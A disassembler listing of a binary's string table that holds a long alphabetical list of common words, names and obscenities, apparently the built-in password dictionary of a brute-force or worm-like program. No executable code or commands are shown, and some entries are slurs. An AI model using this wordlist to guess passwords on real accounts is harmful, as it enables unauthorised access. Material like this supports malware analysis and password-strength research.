aIsis		db 'isis',0             ; DATA XREF: ___:0042FB9Co
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: ___:0042FB98o
		align 4
aIrene		db 'irene',0            ; DATA XREF: ___:0042FB94o
		align 4
aInvent		db 'invent',0           ; DATA XREF: ___:0042FB90o
		align 4
aInteger	db 'integer',0          ; DATA XREF: ___:0042FB8Co
aInside		db 'inside',0           ; DATA XREF: ___:0042FB88o
		align 4
aInput		db 'input',0            ; DATA XREF: ___:0042FB84o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: ___:0042FB80o
		align 4
aInna		db 'inna',0             ; DATA XREF: ___:0042FB7Co
		align 10h
aIngrid		db 'ingrid',0           ; DATA XREF: ___:0042FB78o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: ___:0042FB74o
aIngres		db 'ingres',0           ; DATA XREF: ___:0042FB70o
		align 4
aIndians	db 'indians',0          ; DATA XREF: ___:0042FB6Co
aIndiana	db 'indiana',0          ; DATA XREF: ___:0042FB68o
aIndian		db 'indian',0           ; DATA XREF: ___:0042FB64o
		align 10h
aIndia		db 'india',0            ; DATA XREF: ___:0042FB60o
		align 4
aInclude	db 'include',0          ; DATA XREF: ___:0042FB5Co
aImperial	db 'imperial',0         ; DATA XREF: ___:0042FB58o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: ___:0042FB54o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: ___:0042FB50o
		align 4
aImage		db 'image',0            ; DATA XREF: ___:0042FB4Co
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: ___:0042FB48o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: ___:0042FB44o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: ___:0042FB40o
		align 10h
aHyper		db 'hyper',0            ; DATA XREF: ___:0042FB3Co
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: ___:0042FB38o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: ___:0042FB34o
		align 10h
aHunter		db 'hunter',0           ; DATA XREF: ___:0042FB30o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: ___:0042FB2Co
		align 10h
aHttp_0		db 'http',0             ; DATA XREF: ___:0042FB28o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: ___:0042FB24o
		align 10h
aHotdog		db 'hotdog',0           ; DATA XREF: ___:0042FB20o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:0042FB1Co
		align 10h
aHorus		db 'horus',0            ; DATA XREF: ___:0042FB18o
		align 4
aHorse		db 'horse',0            ; DATA XREF: ___:0042FB14o
		align 10h
aHorror		db 'horror',0           ; DATA XREF: ___:0042FB10o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: ___:0042FB0Co
		align 4
aHorny		db 'horny',0            ; DATA XREF: ___:0042FB08o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: ___:0042FB04o
aHooker		db 'hooker',0           ; DATA XREF: ___:0042FB00o
		align 4
aHoney		db 'honey',0            ; DATA XREF: ___:0042FAFCo
		align 4
aHomework	db 'homework',0         ; DATA XREF: ___:0042FAF8o
		align 10h
aHomer		db 'homer',0            ; DATA XREF: ___:0042FAF4o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: ___:0042FAF0o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: ___:0042FAECo
		align 10h
aHolly		db 'holly',0            ; DATA XREF: ___:0042FAE8o
		align 4
aHole		db 'hole',0             ; DATA XREF: ___:0042FAE4o
		align 10h
aHits		db 'hits',0             ; DATA XREF: ___:0042FAE0o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: ___:0042FADCo
		align 10h
aHighland	db 'highland',0         ; DATA XREF: ___:0042FAD8o
		align 4
aHigh		db 'high',0             ; DATA XREF: ___:0042FAD4o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: ___:0042FAD0o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: ___:0042FACCo
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: ___:0042FAC8o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: ___:0042FAC4o
		align 10h
aHewlett	db 'hewlett',0          ; DATA XREF: ___:0042FAC0o
aHeroin		db 'heroin',0           ; DATA XREF: ___:0042FABCo
		align 10h
aHero		db 'hero',0             ; DATA XREF: ___:0042FAB8o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: ___:0042FAB4o
aHerb		db 'herb',0             ; DATA XREF: ___:0042FAB0o
		align 4
aHelp		db 'help',0             ; DATA XREF: ___:0042FAACo
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:0042FAA8o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:0042FAA4o
		align 10h
aHeinlein	db 'heinlein',0         ; DATA XREF: ___:0042FAA0o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: ___:0042FA9Co
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: ___:0042FA98o
		align 10h
aHeather	db 'heather',0          ; DATA XREF: ___:0042FA94o
aHeathen	db 'heathen',0          ; DATA XREF: ___:0042FA90o
aHeat		db 'heat',0             ; DATA XREF: ___:0042FA8Co
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: ___:0042FA88o
		align 4
aHead		db 'head',0             ; DATA XREF: ___:0042FA84o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: ___:0042FA80o
		align 4
aHaven		db 'haven',0            ; DATA XREF: ___:0042FA7Co
		align 4
aHate		db 'hate',0             ; DATA XREF: ___:0042FA78o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: ___:0042FA74o
		align 4
aHarold		db 'harold',0           ; DATA XREF: ___:0042FA70o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: ___:0042FA6Co
aHarddriv	db 'harddriv',0         ; DATA XREF: ___:0042FA68o
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: ___:0042FA64o
		align 4
aHard		db 'hard',0             ; DATA XREF: ___:0042FA60o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: ___:0042FA5Co
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: ___:0042FA58o
aHandily	db 'handily',0          ; DATA XREF: ___:0042FA54o
aHandel		db 'handel',0           ; DATA XREF: ___:0042FA50o
		align 10h
aHamster	db 'hamster',0          ; DATA XREF: ___:0042FA4Co
aHamlet		db 'hamlet',0           ; DATA XREF: ___:0042FA48o
		align 10h
aHallowee	db 'hallowee',0         ; DATA XREF: ___:0042FA44o
		align 4
aHair		db 'hair',0             ; DATA XREF: ___:0042FA40o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: ___:0042FA3Co
		align 4
aHacked		db 'hacked',0           ; DATA XREF: ___:0042FA38o
		align 4
aHack		db 'hack',0             ; DATA XREF: ___:0042FA34o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: ___:0042FA30o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: ___:0042FA2Co
		align 10h
aGuitar		db 'guitar',0           ; DATA XREF: ___:0042FA28o
		align 4
aGuess		db 'guess',0            ; DATA XREF: ___:0042FA24o
		align 10h
aGucci		db 'gucci',0            ; DATA XREF: ___:0042FA20o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: ___:0042FA1Co
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: ___:0042FA18o
aGroup		db 'group',0            ; DATA XREF: ___:0042FA14o
		align 4
aGreen		db 'green',0            ; DATA XREF: ___:0042FA10o
		align 4
aGreat		db 'great',0            ; DATA XREF: ___:0042FA0Co
		align 4
aGrant		db 'grant',0            ; DATA XREF: ___:0042FA08o
		align 4
aGrand		db 'grand',0            ; DATA XREF: ___:0042FA04o
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: ___:0042FA00o
		align 4
aGraham		db 'graham',0           ; DATA XREF: ___:0042F9FCo
		align 4
aGrades		db 'grades',0           ; DATA XREF: ___:0042F9F8o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: ___:0042F9F4o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: ___:0042F9F0o
		align 10h
aGosling	db 'gosling',0          ; DATA XREF: ___:0042F9ECo
aGorges		db 'gorges',0           ; DATA XREF: ___:0042F9E8o
		align 10h
aGorgeous	db 'gorgeous',0         ; DATA XREF: ___:0042F9E4o
		align 4
aGood		db 'good',0             ; DATA XREF: ___:0042F9E0o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: ___:0042F9DCo
		align 4
aGolf		db 'golf',0             ; DATA XREF: ___:0042F9D8o
		align 4
aGolden		db 'golden',0           ; DATA XREF: ___:0042F9D4o
		align 4
aGold		db 'gold',0             ; DATA XREF: ___:0042F9D0o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: ___:0042F9CCo
aGirl		db 'girl',0             ; DATA XREF: ___:0042F9C8o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: ___:0042F9C4o
		align 4
aGina		db 'gina',0             ; DATA XREF: ___:0042F9C0o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: ___:0042F9BCo
		align 10h
aGibson		db 'gibson',0           ; DATA XREF: ___:0042F9B8o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: ___:0042F9B4o
		align 10h
aGertrude	db 'gertrude',0         ; DATA XREF: ___:0042F9B0o
		align 4
aGerm		db 'germ',0             ; DATA XREF: ___:0042F9ACo
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:0042F9A8o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: ___:0042F9A4o
		align 4
aGatt		db 'gatt',0             ; DATA XREF: ___:0042F9A0o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: ___:0042F99Co
		align 4
aGateway	db 'gateway',0          ; DATA XREF: ___:0042F998o
aGarfield	db 'garfield',0         ; DATA XREF: ___:0042F994o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: ___:0042F990o
aGames		db 'games',0            ; DATA XREF: ___:0042F98Co
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: ___:0042F988o
aFungible	db 'fungible',0         ; DATA XREF: ___:0042F984o
		align 10h
aFunction	db 'function',0         ; DATA XREF: ___:0042F980o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: ___:0042F97Co
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: ___:0042F978o
aFuckme		db 'fuckme',0           ; DATA XREF: ___:0042F974o
		align 4
aFucking	db 'fucking',0          ; DATA XREF: ___:0042F970o
aFucker		db 'fucker',0           ; DATA XREF: ___:0042F96Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:0042F968o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: ___:0042F964o
		align 4
aFrog		db 'frog',0             ; DATA XREF: ___:0042F960o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: ___:0042F95Co
		align 4
aFriends	db 'friends',0          ; DATA XREF: ___:0042F958o
aFriend		db 'friend',0           ; DATA XREF: ___:0042F954o
		align 4
aFriday		db 'friday',0           ; DATA XREF: ___:0042F950o
		align 10h
aFrench		db 'french',0           ; DATA XREF: ___:0042F94Co
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: ___:0042F948o
aFree		db 'free',0             ; DATA XREF: ___:0042F944o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:0042F940o
		align 10h
aFreak		db 'freak',0            ; DATA XREF: ___:0042F93Co
		align 4
aFrank		db 'frank',0            ; DATA XREF: ___:0042F938o
		align 10h
aFrance		db 'france',0           ; DATA XREF: ___:0042F934o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: ___:0042F930o
aFourier	db 'fourier',0          ; DATA XREF: ___:0042F92Co
aForsythe	db 'forsythe',0         ; DATA XREF: ___:0042F928o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: ___:0042F924o
		align 10h
aFormat		db 'format',0           ; DATA XREF: ___:0042F920o
		align 4
aForm		db 'form',0             ; DATA XREF: ___:0042F91Co
		align 10h
aForever	db 'forever',0          ; DATA XREF: ___:0042F918o
aForesigh	db 'foresigh',0         ; DATA XREF: ___:0042F914o
		align 4
aFord		db 'ford',0             ; DATA XREF: ___:0042F910o
		align 4
aForce		db 'force',0            ; DATA XREF: ___:0042F90Co
		align 4
aFootball	db 'football',0         ; DATA XREF: ___:0042F908o
		align 10h
aFoolproo	db 'foolproo',0         ; DATA XREF: ___:0042F904o
		align 4
aFool		db 'fool',0             ; DATA XREF: ___:0042F900o
		align 4
aFood		db 'food',0             ; DATA XREF: ___:0042F8FCo
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: ___:0042F8F8o
aFlower		db 'flower',0           ; DATA XREF: ___:0042F8F4o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: ___:0042F8F0o
aFloat		db 'float',0            ; DATA XREF: ___:0042F8ECo
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: ___:0042F8E8o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: ___:0042F8E4o
aFirewall	db 'firewall',0         ; DATA XREF: ___:0042F8E0o
		align 4
aFire		db 'fire',0             ; DATA XREF: ___:0042F8DCo
		align 10h
aFinite		db 'finite',0           ; DATA XREF: ___:0042F8D8o
		align 4
aFile		db 'file',0             ; DATA XREF: ___:0042F8D4o
		align 10h
aFight		db 'fight',0            ; DATA XREF: ___:0042F8D0o
		align 4
aField		db 'field',0            ; DATA XREF: ___:0042F8CCo
		align 10h
aFidelity	db 'fidelity',0         ; DATA XREF: ___:0042F8C8o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: ___:0042F8C4o
aFermat		db 'fermat',0           ; DATA XREF: ___:0042F8C0o
		align 4
aFender		db 'fender',0           ; DATA XREF: ___:0042F8BCo
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: ___:0042F8B8o
aFeds		db 'feds',0             ; DATA XREF: ___:0042F8B4o
		align 4
aFear		db 'fear',0             ; DATA XREF: ___:0042F8B0o
		align 4
aFast		db 'fast',0             ; DATA XREF: ___:0042F8ACo
		align 4
aFart		db 'fart',0             ; DATA XREF: ___:0042F8A8o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: ___:0042F8A4o
aFarad		db 'farad',0            ; DATA XREF: ___:0042F8A0o
		align 4
aFamily		db 'family',0           ; DATA XREF: ___:0042F89Co
		align 4
aFalse		db 'false',0            ; DATA XREF: ___:0042F898o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: ___:0042F894o
		align 4
aFaith		db 'faith',0            ; DATA XREF: ___:0042F890o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: ___:0042F88Co
aExtensio	db 'extensio',0         ; DATA XREF: ___:0042F888o
		align 10h
aExplosiv	db 'explosiv',0         ; DATA XREF: ___:0042F884o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: ___:0042F880o
		align 4
aExplore	db 'explore',0          ; DATA XREF: ___:0042F87Co
aExplode	db 'explode',0          ; DATA XREF: ___:0042F878o
aExpert		db 'expert',0           ; DATA XREF: ___:0042F874o
		align 10h
aEvelyn		db 'evelyn',0           ; DATA XREF: ___:0042F870o
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: ___:0042F86Co
		align 10h
aEternity	db 'eternity',0         ; DATA XREF: ___:0042F868o
		align 4
aEstate		db 'estate',0           ; DATA XREF: ___:0042F864o
		align 4
aEstablis	db 'establis',0         ; DATA XREF: ___:0042F860o
		align 10h
aErsatz		db 'ersatz',0           ; DATA XREF: ___:0042F85Co
		align 4
aErotic		db 'erotic',0           ; DATA XREF: ___:0042F858o
		align 10h
aErin		db 'erin',0             ; DATA XREF: ___:0042F854o
		align 4
aErika		db 'erika',0            ; DATA XREF: ___:0042F850o
		align 10h
aErica		db 'erica',0            ; DATA XREF: ___:0042F84Co
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:0042F848o
		align 10h
aErenity	db 'erenity',0          ; DATA XREF: ___:0042F844o
aEnzyme		db 'enzyme',0           ; DATA XREF: ___:0042F840o
		align 10h
aEnterpri	db 'enterpri',0         ; DATA XREF: ___:0042F83Co
		align 4
aEnter		db 'enter',0            ; DATA XREF: ___:0042F838o
		align 4
aEnglish	db 'english',0          ; DATA XREF: ___:0042F834o
aEngland	db 'england',0          ; DATA XREF: ___:0042F830o
aEngineer	db 'engineer',0         ; DATA XREF: ___:0042F82Co
		align 10h
aEngine		db 'engine',0           ; DATA XREF: ___:0042F828o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: ___:0042F824o
		align 10h
aEmmanuel	db 'emmanuel',0         ; DATA XREF: ___:0042F820o
		align 4
aEmily		db 'emily',0            ; DATA XREF: ___:0042F81Co
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: ___:0042F818o
aEmail_0	db 'email',0            ; DATA XREF: ___:0042F814o
		align 4
aEllen		db 'ellen',0            ; DATA XREF: ___:0042F810o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: ___:0042F80Co
		align 4
aElephant	db 'elephant',0         ; DATA XREF: ___:0042F808o
		align 4
aElectron	db 'electron',0         ; DATA XREF: ___:0042F804o
		align 10h
aElanor		db 'elanor',0           ; DATA XREF: ___:0042F800o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: ___:0042F7FCo
		align 10h
aEinstein	db 'einstein',0         ; DATA XREF: ___:0042F7F8o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: ___:0042F7F4o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: ___:0042F7F0o
		align 10h
aEiderdow	db 'eiderdow',0         ; DATA XREF: ___:0042F7ECo
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: ___:0042F7E8o
aEdwina		db 'edwina',0           ; DATA XREF: ___:0042F7E4o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: ___:0042F7E0o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: ___:0042F7DCo
		align 10h
aEducation	db 'education',0        ; DATA XREF: ___:0042F7D8o
		align 4
aEdition	db 'edition',0          ; DATA XREF: ___:0042F7D4o
aEdit		db 'edit',0             ; DATA XREF: ___:0042F7D0o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: ___:0042F7CCo
		align 4
aEdges		db 'edges',0            ; DATA XREF: ___:0042F7C8o
		align 10h
aEddie		db 'eddie',0            ; DATA XREF: ___:0042F7C4o
		align 4
aEcho		db 'echo',0             ; DATA XREF: ___:0042F7C0o
		align 10h
aEatme		db 'eatme',0            ; DATA XREF: ___:0042F7BCo
		align 4
aEasy		db 'easy',0             ; DATA XREF: ___:0042F7B8o
		align 10h
aEasier		db 'easier',0           ; DATA XREF: ___:0042F7B4o
		align 4
aEarth		db 'earth',0            ; DATA XREF: ___:0042F7B0o
		align 10h
aEagle		db 'eagle',0            ; DATA XREF: ___:0042F7ACo
		align 4
aEager		db 'eager',0            ; DATA XREF: ___:0042F7A8o
		align 10h
aDyke		db 'dyke',0             ; DATA XREF: ___:0042F7A4o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: ___:0042F7A0o
aDuncan		db 'duncan',0           ; DATA XREF: ___:0042F79Co
		align 4
aDulce		db 'dulce',0            ; DATA XREF: ___:0042F798o
		align 10h
aDuke		db 'duke',0             ; DATA XREF: ___:0042F794o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: ___:0042F790o
aDude		db 'dude',0             ; DATA XREF: ___:0042F78Co
		align 4
aDuck		db 'duck',0             ; DATA XREF: ___:0042F788o
		align 10h
aDrought	db 'drought',0          ; DATA XREF: ___:0042F784o
aDrive		db 'drive',0            ; DATA XREF: ___:0042F780o
		align 10h
aDrdoom		db 'drdoom',0           ; DATA XREF: ___:0042F77Co
		align 4
aDragon		db 'dragon',0           ; DATA XREF: ___:0042F778o
		align 10h
aDownload	db 'download',0         ; DATA XREF: ___:0042F774o
		align 4
aDope		db 'dope',0             ; DATA XREF: ___:0042F770o
		align 4
aDoors		db 'doors',0            ; DATA XREF: ___:0042F76Co
		align 4
aDoor		db 'door',0             ; DATA XREF: ___:0042F768o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: ___:0042F764o
		align 10h
aDoomsday	db 'doomsday',0         ; DATA XREF: ___:0042F760o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: ___:0042F75Co
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: ___:0042F758o
		align 4
aDoom		db 'doom',0             ; DATA XREF: ___:0042F754o
		align 4
aDong		db 'dong',0             ; DATA XREF: ___:0042F750o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: ___:0042F74Co
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: ___:0042F748o
		align 4
aDisplay_0	db 'display',0          ; DATA XREF: ___:0042F744o
aDisney		db 'disney',0           ; DATA XREF: ___:0042F740o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: ___:0042F73Co
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: ___:0042F738o
		align 10h
aDiscover	db 'discover',0         ; DATA XREF: ___:0042F734o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: ___:0042F730o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: ___:0042F72Co
		align 4
aDisc		db 'disc',0             ; DATA XREF: ___:0042F728o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: ___:0042F724o
		align 4
aDirector	db 'director',0         ; DATA XREF: ___:0042F720o
		align 10h
aDirect		db 'direct',0           ; DATA XREF: ___:0042F71Co
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: ___:0042F718o
aDinosaur	db 'dinosaur',0         ; DATA XREF: ___:0042F714o
		align 4
aDigital	db 'digital',0          ; DATA XREF: ___:0042F710o
aDieter		db 'dieter',0           ; DATA XREF: ___:0042F70Co
		align 4
aDiet		db 'diet',0             ; DATA XREF: ___:0042F708o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: ___:0042F704o
aDick		db 'dick',0             ; DATA XREF: ___:0042F700o
		align 4
aDice		db 'dice',0             ; DATA XREF: ___:0042F6FCo
		align 4
aDiane		db 'diane',0            ; DATA XREF: ___:0042F6F8o
		align 4
aDiana		db 'diana',0            ; DATA XREF: ___:0042F6F4o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: ___:0042F6F0o
aDial		db 'dial',0             ; DATA XREF: ___:0042F6ECo
		align 4
aDevice		db 'device',0           ; DATA XREF: ___:0042F6E8o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: ___:0042F6E4o
aDesperat	db 'desperat',0         ; DATA XREF: ___:0042F6E0o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: ___:0042F6DCo
aDesk		db 'desk',0             ; DATA XREF: ___:0042F6D8o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: ___:0042F6D4o
aDennis		db 'dennis',0           ; DATA XREF: ___:0042F6D0o
		align 4
aDenise		db 'denise',0           ; DATA XREF: ___:0042F6CCo
		align 10h
aDemocrat	db 'democrat',0         ; DATA XREF: ___:0042F6C8o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: ___:0042F6C4o
		align 4
aDelta		db 'delta',0            ; DATA XREF: ___:0042F6C0o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: ___:0042F6BCo
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: ___:0042F6B8o
aDeck		db 'deck',0             ; DATA XREF: ___:0042F6B0o
		align 4
aDecember	db 'december',0         ; DATA XREF: ___:0042F6ACo
		align 10h
aDebug		db 'debug',0            ; DATA XREF: ___:0042F6A8o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: ___:0042F6A4o
aDebbie		db 'debbie',0           ; DATA XREF: ___:0042F6A0o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: ___:0042F69Co
		align 4
aDead		db 'dead',0             ; DATA XREF: ___:0042F698o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: ___:0042F694o
		align 4
aDave		db 'dave',0             ; DATA XREF: ___:0042F690o
		align 4
aData		db 'data',0             ; DATA XREF: ___:0042F68Co
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: ___:0042F688o
		align 10h
aDark		db 'dark',0             ; DATA XREF: ___:0042F684o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: ___:0042F680o
		align 10h
aDanny		db 'danny',0            ; DATA XREF: ___:0042F67Co
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: ___:0042F678o
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: ___:0042F674o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: ___:0042F670o
		align 4
aDana		db 'dana',0             ; DATA XREF: ___:0042F66Co
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: ___:0042F668o
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: ___:0042F664o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: ___:0042F660o
aCyberspa	db 'cyberspa',0         ; DATA XREF: ___:0042F65Co
		align 10h
aCyberpun	db 'cyberpun',0         ; DATA XREF: ___:0042F658o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: ___:0042F654o
		align 4
aCustomer	db 'customer',0         ; DATA XREF: ___:0042F650o
		align 10h
aCunt		db 'cunt',0             ; DATA XREF: ___:0042F64Co
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: ___:0042F648o
		align 10h
aCrystal	db 'crystal',0          ; DATA XREF: ___:0042F644o
aCristina	db 'cristina',0         ; DATA XREF: ___:0042F640o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: ___:0042F63Co
		align 10h
aCrime		db 'crime',0            ; DATA XREF: ___:0042F638o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: ___:0042F634o
		align 10h
aCreosote	db 'creosote',0         ; DATA XREF: ___:0042F630o
		align 4
aCredit		db 'credit',0           ; DATA XREF: ___:0042F62Co
		align 4
aCreature	db 'creature',0         ; DATA XREF: ___:0042F628o
		align 10h
aCreation	db 'creation',0         ; DATA XREF: ___:0042F624o
		align 4
aCreate		db 'create',0           ; DATA XREF: ___:0042F620o
		align 4
aCream		db 'cream',0            ; DATA XREF: ___:0042F61Co
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: ___:0042F618o
		align 4
aCrack		db 'crack',0            ; DATA XREF: ___:0042F614o
		align 10h
aCowboy		db 'cowboy',0           ; DATA XREF: ___:0042F610o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: ___:0042F60Co
		align 4
aCountry	db 'country',0          ; DATA XREF: ___:0042F608o
aCounters	db 'counters',0         ; DATA XREF: ___:0042F604o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: ___:0042F600o
aCorneliu	db 'corneliu',0         ; DATA XREF: ___:0042F5FCo
		align 4
aCopy		db 'copy',0             ; DATA XREF: ___:0042F5F8o
		align 4
aCops		db 'cops',0             ; DATA XREF: ___:0042F5F4o
		align 4
aCopper		db 'copper',0           ; DATA XREF: ___:0042F5F0o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: ___:0042F5ECo
		align 4
aCool		db 'cool',0             ; DATA XREF: ___:0042F5E8o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: ___:0042F5E4o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: ___:0042F5E0o
		align 4
aCook		db 'cook',0             ; DATA XREF: ___:0042F5DCo
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_40F6F1+2199o
					; ___:0042F5D8o
		align 4
aConsole	db 'console',0          ; DATA XREF: ___:0042F5D4o
aConserva	db 'conserva',0         ; DATA XREF: ___:0042F5D0o
		align 10h
aConnie		db 'connie',0           ; DATA XREF: ___:0042F5CCo
		align 4
aCondom		db 'condom',0           ; DATA XREF: ___:0042F5C4o
		align 10h
aCondo		db 'condo',0            ; DATA XREF: ___:0042F5C0o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: ___:0042F5BCo
		align 4
aComrade	db 'comrade',0          ; DATA XREF: ___:0042F5B8o
aComputin	db 'computin',0         ; DATA XREF: ___:0042F5B4o
		align 4
aCompany	db 'company',0          ; DATA XREF: ___:0042F5B0o
aCommrade	db 'commrade',0         ; DATA XREF: ___:0042F5ACo
		align 4
aCommit		db 'commit',0           ; DATA XREF: ___:0042F5A8o
		align 4
aComics		db 'comics',0           ; DATA XREF: ___:0042F5A4o
		align 4
aCombat		db 'combat',0           ; DATA XREF: ___:0042F5A0o
		align 4
aColor		db 'color',0            ; DATA XREF: ___:0042F59Co
		align 4
aCollins	db 'collins',0          ; DATA XREF: ___:0042F598o
aCold		db 'cold',0             ; DATA XREF: ___:0042F594o
		align 4
aCola		db 'cola',0             ; DATA XREF: ___:0042F590o
		align 4
aCoke		db 'coke',0             ; DATA XREF: ___:0042F58Co
		align 4
aCoin		db 'coin',0             ; DATA XREF: ___:0042F588o
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: ___:0042F584o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: ___:0042F580o
		align 4
aCodename	db 'codename',0         ; DATA XREF: ___:0042F57Co
		align 4
aCode		db 'code',0             ; DATA XREF: ___:0042F578o
		align 4
aCock		db 'cock',0             ; DATA XREF: ___:0042F574o
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: ___:0042F570o
		align 10h
aCocacola	db 'cocacola',0         ; DATA XREF: ___:0042F56Co
		align 4
aCoast		db 'coast',0            ; DATA XREF: ___:0042F568o
		align 4
aClusters	db 'clusters',0         ; DATA XREF: ___:0042F564o
		align 10h
aCluster	db 'cluster',0          ; DATA XREF: ___:0042F560o
aClinton	db 'clinton',0          ; DATA XREF: ___:0042F55Co
aCleavage	db 'cleavage',0         ; DATA XREF: ___:0042F558o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: ___:0042F554o
